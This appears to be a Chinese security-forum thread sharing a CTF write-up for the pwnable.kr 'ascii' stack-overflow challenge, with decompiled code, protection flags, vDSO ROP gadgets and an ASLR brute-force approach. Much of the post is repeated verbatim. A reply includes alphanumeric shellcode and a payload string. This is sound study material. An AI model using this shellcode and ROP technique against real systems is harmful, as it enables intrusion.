首页
社区
课程
招聘
[原创]pwnable.kr 之 ascii 解题思路分享
发表于: 2017-12-21 22:55 13423

[原创]pwnable.kr 之 ascii 解题思路分享

2017-12-21 22:55
13423

今天突然发现看雪多了一个pwn的版块,于是想把自己前段时间刚做的一道题拿出来和大家分享,也支持一下新版块:)大牛还请轻拍~

题目为pwnable.kr的ascii,难度为Grotesque
首先看一下IDA对main函数的反汇编结果:
int __cdecl main(int argc, const char **argv, const char **envp)
{
  _BYTE *v3; // ebx
  char v5; // [esp+4h] [ebp-30h]
  int v6; // [esp+28h] [ebp-Ch]
  unsigned int v7; // [esp+2Ch] [ebp-8h]

  v6 = mmap(0x80000000, 4096, 7, 50, 0xFFFFFFFF, 0);
  if ( v6 != 0x80000000 )
  {
    puts("mmap failed. tell admin");
    exit(1);
  }
  printf("Input text : ", v5);
  v7 = 0;
  do
  {
    if ( v7 > 399 )
      break;
    v3 = (_BYTE *)(v6 + v7);
    *v3 = getchar();
    ++v7;
  }
  while ( is_ascii((char)*v3) );
  puts("triggering bug...");
  return vuln();
}
main函数大致做了这么几件事:
1、mmap了一块堆内存,起始地址为0x80000000,用于保存从stdin读入用户输入的内容
2、对用户输入的字符串内容检查:用户输入的每个字符都应该为可见字符(否则就截断字符串),即ASCII值范围为[ 0x20 , 0x7E ]
3、对用户输入的字符串长度检查:长度应小于400(这点其实对本题影响不大)
4、调用vuln函数,将用户输入的内容(保存于0x80000000)复制到vuln函数的本地变量上面,从而造成栈溢出

检查一下binary的各种安全参数,情况如下:
[*] '/home/zero/Desktop/ascii/ascii'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
而且由于最终该binary是要在服务端运行的,而服务端又开启了ASLR,所以vdso段是随机化的。

该题目网上已经有公开的解决方法,但是该公开方法已经无效,所以在这里我写一下如果想用新的方法需要注意的点:
问题1、网上公开的那种ROP方式已经不能再用,因为需要从vdso段中获取的ROP Gadget地址和内容都发生了变化,所以ROP Gadget是需要变化的
问题2、公开方法中提到的使用"ulimit -s unlimited"(CVE-2016-3672)漏洞方式使vdso基地址固定,然后再用硬编码的方式将ROP Gadget通过栈溢出写入栈中,但是pwnable.kr已经修补了该漏洞,所以用这种方式固定vdso段地址也失效了

问题1比较好解决,因为是vdso段的信息发生了变化导致了Gadget信息也发生了改变,所以只要再从现在的vdso中重新查询可利用的Gadget即可(这里有一个扣题ascii的小坑,留给大家自己做一遍发现,嘿嘿),只要具体的ROP Chain大家可以自己去动手构造,并不难:)
我最终使用的两条ROP Gadget分别为0xC75和0xC78:
gdb-peda$ vmmap vdso
Start      End        Perm	Name
0x555fa000 0x555fc000 r-xp	[vdso]
gdb-peda$ x/3i 0x555fa000+0xc75
   0x555fac75 <__vdso_time+37>:	pop    ebx
   0x555fac76 <__vdso_time+38>:	pop    ebp
   0x555fac77 <__vdso_time+39>:	ret    
gdb-peda$ x/2i 0x555fa000+0xc78
   0x555fac78:	mov    eax,DWORD PTR [esp]
   0x555fac7b:	ret    
gdb-peda$

问题2是本道题目的解决关键,我在解决的时候实际上只要一直爆破就可以了

当然本题的一个重要考察点为Alphanumeric Encode,这点网上已经有很多文章介绍,所以这里不再赘述。

考虑到pwnable.kr官网的要求(Rules & Tips中的第3点),所以在这里我不会提供Solver的源码。
其实这道题写出Solver并不难,自己动手做出来才是真的懂,对吧:)
贴一张我最后解决该问题的截图,实测我最少需要爆破10+次,最多需要爆破300+次即可爆破成功。



附:网上公开的解决方法(公开方法中的exp如果直接使用应该是失效的,但是可以作为参考):
1、http://www.mottoin.com/87792.html
2、http://www.lovekira.cn/?p=340
首先看一下IDA对main函数的反汇编结果:
int __cdecl main(int argc, const char **argv, const char **envp)
{
  _BYTE *v3; // ebx
  char v5; // [esp+4h] [ebp-30h]
  int v6; // [esp+28h] [ebp-Ch]
  unsigned int v7; // [esp+2Ch] [ebp-8h]

  v6 = mmap(0x80000000, 4096, 7, 50, 0xFFFFFFFF, 0);
  if ( v6 != 0x80000000 )
  {
    puts("mmap failed. tell admin");
    exit(1);
  }
  printf("Input text : ", v5);
  v7 = 0;
  do
  {
    if ( v7 > 399 )
      break;
    v3 = (_BYTE *)(v6 + v7);
    *v3 = getchar();
    ++v7;
  }
  while ( is_ascii((char)*v3) );
  puts("triggering bug...");
  return vuln();
}
main函数大致做了这么几件事:
1、mmap了一块堆内存,起始地址为0x80000000,用于保存从stdin读入用户输入的内容
2、对用户输入的字符串内容检查:用户输入的每个字符都应该为可见字符(否则就截断字符串),即ASCII值范围为[ 0x20 , 0x7E ]
3、对用户输入的字符串长度检查:长度应小于400(这点其实对本题影响不大)
4、调用vuln函数,将用户输入的内容(保存于0x80000000)复制到vuln函数的本地变量上面,从而造成栈溢出

检查一下binary的各种安全参数,情况如下:
[*] '/home/zero/Desktop/ascii/ascii'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
而且由于最终该binary是要在服务端运行的,而服务端又开启了ASLR,所以vdso段是随机化的。
int __cdecl main(int argc, const char **argv, const char **envp)
{
  _BYTE *v3; // ebx
  char v5; // [esp+4h] [ebp-30h]
  int v6; // [esp+28h] [ebp-Ch]
  unsigned int v7; // [esp+2Ch] [ebp-8h]

  v6 = mmap(0x80000000, 4096, 7, 50, 0xFFFFFFFF, 0);
  if ( v6 != 0x80000000 )
  {
    puts("mmap failed. tell admin");
    exit(1);
  }
  printf("Input text : ", v5);
  v7 = 0;
  do
  {
    if ( v7 > 399 )
      break;
    v3 = (_BYTE *)(v6 + v7);
    *v3 = getchar();
    ++v7;
  }
  while ( is_ascii((char)*v3) );
  puts("triggering bug...");
  return vuln();
}
main函数大致做了这么几件事:
1、mmap了一块堆内存,起始地址为0x80000000,用于保存从stdin读入用户输入的内容
2、对用户输入的字符串内容检查:用户输入的每个字符都应该为可见字符(否则就截断字符串),即ASCII值范围为[ 0x20 , 0x7E ]
3、对用户输入的字符串长度检查:长度应小于400(这点其实对本题影响不大)
4、调用vuln函数,将用户输入的内容(保存于0x80000000)复制到vuln函数的本地变量上面,从而造成栈溢出

检查一下binary的各种安全参数,情况如下:
[*] '/home/zero/Desktop/ascii/ascii'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] '/home/zero/Desktop/ascii/ascii'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

该题目网上已经有公开的解决方法,但是该公开方法已经无效,所以在这里我写一下如果想用新的方法需要注意的点:
问题1、网上公开的那种ROP方式已经不能再用,因为需要从vdso段中获取的ROP Gadget地址和内容都发生了变化,所以ROP Gadget是需要变化的
问题2、公开方法中提到的使用"ulimit -s unlimited"(CVE-2016-3672)漏洞方式使vdso基地址固定,然后再用硬编码的方式将ROP Gadget通过栈溢出写入栈中,但是pwnable.kr已经修补了该漏洞,所以用这种方式固定vdso段地址也失效了

问题1比较好解决,因为是vdso段的信息发生了变化导致了Gadget信息也发生了改变,所以只要再从现在的vdso中重新查询可利用的Gadget即可(这里有一个扣题ascii的小坑,留给大家自己做一遍发现,嘿嘿),只要具体的ROP Chain大家可以自己去动手构造,并不难:)

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 2
支持
分享
最新回复 (4)
雪    币: 219
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
我做ascii这个题目有一段时间了,思路呢感觉差不多。
先是用ulimit -s unlimited固定vdso地址,我经过统计发现确实可能出现重复的地址段。
然后我利用网上那个日本人的shellcode,将值传到eax,我自己写了一个汇编代码
push 0x30
        pop eax
        xor al, 0x30      
        push eax  
        push eax  
        push eax
        push eax
        push eax  
        push eax
        popad
        dec edx   
        push edx
        pop eax
        xor eax, 0x33505067
        xor eax, 0x4c505042
        push eax
        push esp
        pop ecx
        xor [ecx], dh
        inc ecx
        xor [ecx], dh
        inc ecx
        xor [ecx], dh
        pop eax

共37字节

然后利用那个shellcode,135字节。根据vuln函数,覆盖的地址是esp+10的位置,那么正好37+135=0xb8+4-0x10.
然后构造ROP链,直接利用一个0x55557c78 : mov eax, dword ptr [esp] ; ret 即可
最后构造shellcode为
shellcode = "j0X40PPPPPPaJRX5gPP35BPPLPTY01A01A01X"
shellcode += "PYj0X40PPPPQPaJRX4Dj0YIIIII0DN0RX502A05r9sOPTY01A01RX500D05cFZBPTY01SX540D05ZFXbPTYA01A01SX50A005XnRYPSX5AA005nnCXPSX5AA005plbXPTYA01Tx"
shellcode += p32(0x55557c78)*11
但是我尝试还是不可以,请问我得思路有什么问题嘛?如若指正不胜感激!我得QQ是2814207439,谢谢了!
2019-1-12 15:01
0
雪    币: 22
活跃值: (1012)
能力值: ( LV8,RANK:135 )
在线值:
发帖
回帖
粉丝
3
Assassin刺客 我做ascii这个题目有一段时间了,思路呢感觉差不多。 先是用ulimit -s unlimited固定vdso地址,我经过统计发现确实可能出现重复的地址段。 然后我利用网上那个日本人的shell ...
这个题我很久以前做过的了,所以细节上记得不太多了。不过还有以下几点,希望能帮到你:
1、我刚又运行了一下我之前写的解题脚本,依然可以得到flag,所以我的解题思路还是可用的;
2、我记得我的shellcode是我用Metasploit生成的,但是生成后还是需要手动微调,这个你可以试试在GDB里手动调试修改,应该在Metasploit生成的shellcode上加几个字节就OK
3、在本地测试的时候可以关掉ASLR测试,然后再到真实环境爆破(这点我估计你也想到了)
2019-1-14 09:57
0
雪    币: 209
活跃值: (18)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
4
你好,我在做这题的时候,发现已经没有可以使用ascii码字符表示的可执行段了:
gdb-peda$ vmmap
Start End Perm        Name
0x08048000 0x080ed000 r-xp        /zwork/pwnable/ascii/ascii
0x080ed000 0x080ef000 rw-p        /zwork/pwnable/ascii/ascii
0x080ef000 0x08113000 rw-p        [heap]
0x80000000 0x80001000 rwxp        mapped
0xf7ff8000 0xf7ffa000 rw-p        mapped
0xf7ffa000 0xf7ffc000 r--p        [vvar]
0xf7ffc000 0xf7ffe000 r-xp        [vdso]
0xfffdd000 0xffffe000 rw-p        [stack]
试了很多次依然如此。这种情况是否是环境出了问题?
2019-3-20 15:01
0
雪    币: 22
活跃值: (1012)
能力值: ( LV8,RANK:135 )
在线值:
发帖
回帖
粉丝
5
茶隼 你好,我在做这题的时候,发现已经没有可以使用ascii码字符表示的可执行段了: gdb-peda$ vmmap Start End Perm Name 0x08048000 0x080ed000 ...
我刚又试了一下我之前写的solve,还是可以得到flag。具体细节我已经记不太清了,可以参考我3楼的回答。
2019-3-20 15:43
0
游客
登录 | 注册 方可回帖
返回
//